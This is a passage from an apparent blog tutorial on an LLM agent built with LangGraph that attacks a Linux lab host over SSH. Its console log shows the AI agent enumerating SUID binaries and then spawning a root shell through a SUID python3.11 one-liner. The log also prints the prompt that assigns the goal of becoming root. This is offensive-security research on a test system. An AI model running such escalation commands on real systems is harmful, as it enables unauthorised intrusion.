Now, the final step: through graph.stream we start the graph and give it the initial task (the just mentioned question from template). Using stream_mode="values" (line 85) will create an event stream will the messages that are passing through the graph.

We use this events on line 88 to watch for potential changes. This allows us to output everything that is happening during exeuction.

The graph in it's full glory

You can use graph.get_graph().draw_mermaid() to get a mermaid diagram with our graph:

Our Graph in its full Glory

Execute it

Now you can start the prototype with python initial_version.py (I've cut out some noise, also the output will become better over time):

(venv) andy@cargocult:~/offensivegraphs/src$ python initial_version.py 
================================ Human Message =================================


You are a low-privilege user lowpriv with password trustno1 on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.

================================== Ai Message ==================================

To achieve privilege escalation on a Linux system, we need to follow a systematic approach that involves enumeration and identifying potential vulnerabilities or misconfigurations that can be exploited. Here's a step-by-step plan:

1. **System Enumeration**: Gather information about the system, including kernel version, installed software, running services, and scheduled tasks. This helps in identifying potential vulnerabilities.

2. **User and Group Information**: Check the current user's privileges, group memberships, and other users on the system. This can reveal misconfigurations or potential targets for privilege escalation.

3. **SUID and SGID Binaries**: Identify binaries with the SUID or SGID bit set, as they can sometimes be exploited to gain elevated privileges.

4. **World-Writable Files and Directories**: Look for files and directories that are world-writable, as they might be used to inject malicious code or scripts.

5. **Cron Jobs and Scheduled Tasks**: Examine cron jobs and other scheduled tasks for scripts or binaries that can be modified or exploited.

6. **Exploiting Vulnerabilities**: If any known vulnerabilities are found in the system or installed software, attempt to exploit them to gain root access.

7. **Kernel Exploits**: If the kernel is outdated, check for any known exploits that can be used to gain root access.

Let's start with the enumeration phase by executing some commands to gather information about the system. I'll run the following commands:

- `uname -a` to get the kernel version and system architecture.
- `id` to check the current user's privileges and group memberships.
- `find / -perm -4000 2>/dev/null` to list SUID binaries.
- `find / -perm -2000 2>/dev/null` to list SGID binaries.
- `find / -writable -type d 2>/dev/null` to find world-writable directories.
- `crontab -l` to list the current user's cron jobs.
- `cat /etc/crontab` to view system-wide cron jobs.


cmd executed: find / -perm -2000 2>/dev/null
result:  /var/mail
/var/local
/var/log/journal
/var/log/journal/c9c36c71f63f41ba8d4b51f857984e51
/run/log/journal
/usr/bin/crontab
/usr/bin/chage
/usr/bin/dotlockfile
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/sbin/unix_chkpwd

cmd executed: find / -perm -4000 2>/dev/null
result:  /usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/find
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/python3.11
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign

================================== Ai Message ==================================

Based on the enumeration results, here's what we have found:

1. **System Information**: The system is running Linux kernel version 6.1.0-26-amd64 on a Debian-based distribution.

2. **User Information**: The current user is `lowpriv` with UID 1001 and GID 1001, and is not part of any special groups.

3. **SUID Binaries**: There are several SUID binaries, including `/usr/bin/find`, `/usr/bin/sudo`, and `/usr/bin/python3.11`. These can potentially be exploited for privilege escalation.

4. **SGID Binaries**: There are several SGID binaries, but none immediately stand out as exploitable without further context.

5. **World-Writable Directories**: There are several world-writable directories, including `/var/tmp` and `/tmp`, which could be used for temporary file manipulation attacks.

6. **Cron Jobs**: There are no user-specific cron jobs for `lowpriv`, but there are system-wide cron jobs executed by the root user.

### Potential Exploitation Path

The presence of the SUID bit on `/usr/bin/python3.11` is particularly interesting. Python can be used to execute commands, and if it retains the SUID privileges, it might allow us to execute commands as the root user.

Let's attempt to exploit the SUID bit on Python to gain root access. We'll use the following command to spawn a root shell:

/usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'

I'll execute this command on the remote system.
Tool Calls:
  ssh_execute_command (call_zOm9FJFanxtnXxZpxzb8Y6UR)
 Call ID: call_zOm9FJFanxtnXxZpxzb8Y6UR
  Args:
    command: /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'
TIMEOUT! Could we have become root?
cmd executed: /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'
result:  # 
================================= Tool Message =================================
Name: ssh_execute_command

# 
================================== Ai Message ==================================

I successfully gained root access by exploiting the SUID bit on `/usr/bin/python3.11`. By using Python's ability to execute system commands and setting the user ID to 0 (root), I was able to spawn a root shell. This method allowed me to escalate privileges from the low-privilege user `lowpriv` to the root user.

I find this fairly impressive..

Next Steps and TODOs

There are some things that need to be cleaned up.

switch from the @tool-annotation to the BaseModel base-class to allow tool configuration. We want to setup the SSH-connection (hostname, username, password) in the beginning and not hard-code it within our code. This will also clean-up our configuration handling.

The langchain library itself offers simple templating (PromptTemplate) thus making using a seperate mako template engine superficious. Sometime after I wrote this documention, I replaced the mako template with:

template = PromptTemplate.from_template("""
You are a low-privilege user {username} with password {password} on a linux system and your goal is to become the root user by executing commands on the remote system.

Do not repeat already tried escalation attacks. You should focus upon enumeration and privilege escalation. If you were able to become root, describe the used method as final message.
""").format(username=conn.username, password=conn.password)